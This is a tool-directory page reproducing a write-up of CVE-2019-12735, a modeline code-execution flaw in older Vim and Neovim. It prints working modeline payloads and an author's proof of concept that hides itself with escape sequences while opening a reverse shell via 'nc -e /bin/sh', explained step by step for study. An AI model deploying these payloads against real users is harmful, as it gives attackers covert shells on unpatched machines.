Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2019-12735 | Kitploit
Tools/GitHubGitHub/datntsec/cve-2019-12735
Vulnerability AnalysisExploitationCTFPapers & ResearchLearning & EducationBinary Exploitation
GitHubdatntsec/cve-2019-12735

CVE-2019-12735

View Repository
5 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2019-12735

An Arbitrary Code Execution vulnerability through modeline in vim/neovim

root@kitploit:~
Product: Vim < 8.1.1365, Neovim < 0.3.6
Type:    Arbitrary Code Execution
CVE:     CVE-2019-12735
Date:    2019-06-04
Author:  Arminius (@rawsec)

Vim versions before 8.1.1365 and Neovim versions before 0.3.6 have a vulnerability that allows easy arbitrary code execution through modeline when opening a text file containing special content.

Vulnerability details and how to use modeline

Modeline is a feature enabled by default, applied to all file types, including .txt files, to automatically find and apply/execute a set of options specified by the file creator at the beginning and end of the file. Below is a typical modeline command:

root@kitploit:~
/* vim: set textwidth=80 tabstop=8: */

To increase security, only a subset of options are allowed to be applied/executed in modelines, and if the option value contains an expression, it will be executed within a sandbox:

root@kitploit:~
No other commands than "set" are supported, for security reasons (somebody
might create a Trojan horse text file with modelines).  And not all options
can be set.  For some options a flag is set, so that when it's used the
|sandbox| is effective.

The sandbox helps prevent side effects:

root@kitploit:~
The 'foldexpr', 'formatexpr', 'includeexpr', 'indentexpr', 'statusline' and
'foldtext' options may be evaluated in a sandbox.  This means that you are
protected from these expressions having nasty side effects.  This gives some
safety for when these options are set from a modeline.

However, the :source! command (with [!] after it) can be used to bypass the sandbox. It forces vim to read and execute commands from a specified file as if they were typed manually in vim, running them after exiting the sandbox. This is what creates the vulnerability allowing arbitrary code execution through vim.

root@kitploit:~
:so[urce]! {file}       Read Vim commands from {file}.  These are commands
                        that are executed from Normal mode, like you type
                        them.

From this vulnerability, one can construct a modeline to run code outside the sandbox:

root@kitploit:~
# vim: set foldexpr=execute('\:source! some_file'):

We can also use assert_fails() as a substitute for execute():

root@kitploit:~
assert_fails({cmd} [, {error} [, {msg}]])               *assert_fails()*
                Run {cmd} and add an error message to |v:errors| if it does
                NOT produce an error.

Appending % after source! executes the current file. For example, the following line will sequentially execute uname -a || "(garbage)" as a shell command:

root@kitploit:~
:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="

In addition, the nvim_input() function is only for exploiting the vulnerability in Neovim and is used as in the following example:

root@kitploit:~
vi:fen:fdm=expr:fde=nvim_input("\:terminal\ uname\ -a"):fdl=0

Exploit: Reverse Shell

The author provided a PoC that allows creating a reverse shell by using the Esc character to hide content when the reader opens the file, by writing new content to it.

root@kitploit:~
\x1b[?7l\x1bSNothing here.\x1b:silent! w | call system('nohup nc 127.0.0.1 9999 -e /bin/sh &') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails('set\ fde=x\ \|\ source\!\ \%') fdl=0: x16x1b[1Gx16x1b[KNothing here."x16x1b[D n

Above is a PoC from the author, but to make it easier for readers to understand, we simplify parts of the PoC to:

root@kitploit:~
\x1bSNothing here.\x1b:silent! w | call system('nohup nc 127.0.0.1 9999 -e /bin/sh &') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails('set\ fde=x\ \|\ source\!\ \%') fdl=0:

When vim is opened, the modeline feature will check the beginning and end of the file for a modeline command (here: 'vim: set fen fdm=expr fde=assert_fails('set\ fde=x\ |\ source!\ %') fdl=0:'), and upon finding it, will execute the command. According to how modeline works as described above, the command source! % will execute the current file as if we typed its contents manually in vim.

First, it will execute the string "\x1bSNothing here.\x1b:silent! w ". If you have used vim, you probably know the command execution mode in vim. To enter this mode, you just press the Esc key, which has the value 0x1b. That's why the beginning of the PoC above uses 0x1b to enter command mode in vim.

Once in command mode, if you press the S key, the content of the current line is immediately deleted and you are returned to insert mode. Therefore, the next character is S to delete the content of the PoC file and create new content.

At this point, the text "Nothing here." is inserted into the file, followed by an Esc to return to command mode and the command :silent! w to write the new text ("Nothing here.") to the file without displaying any message on screen.

After writing the file, it proceeds to execute the command call system('nohup nc 127.0.0.1 9999 -e /bin/sh &') and subsequent commands to reverse shell. The last command – silent! # " vim: set fen fdm=expr fde=assert_fails('set\ fde=x\ \|\ source\!\ \%') fdl=0: x16x1b[1Gx16x1b[KNothing here."x16x1b[D n – where the # after silent! is treated as a comment by vim, so it will not be executed.

Thus, when a user opens the PoC with vim/neovim, the attacker obtains the user's shell without the user's knowledge, because the user only sees the text "Nothing here." just written via the modeline feature.

References

https://github.com/numirias/security/blob/master/doc/2019-06-04_ace-vim-neovim.md

Download Tool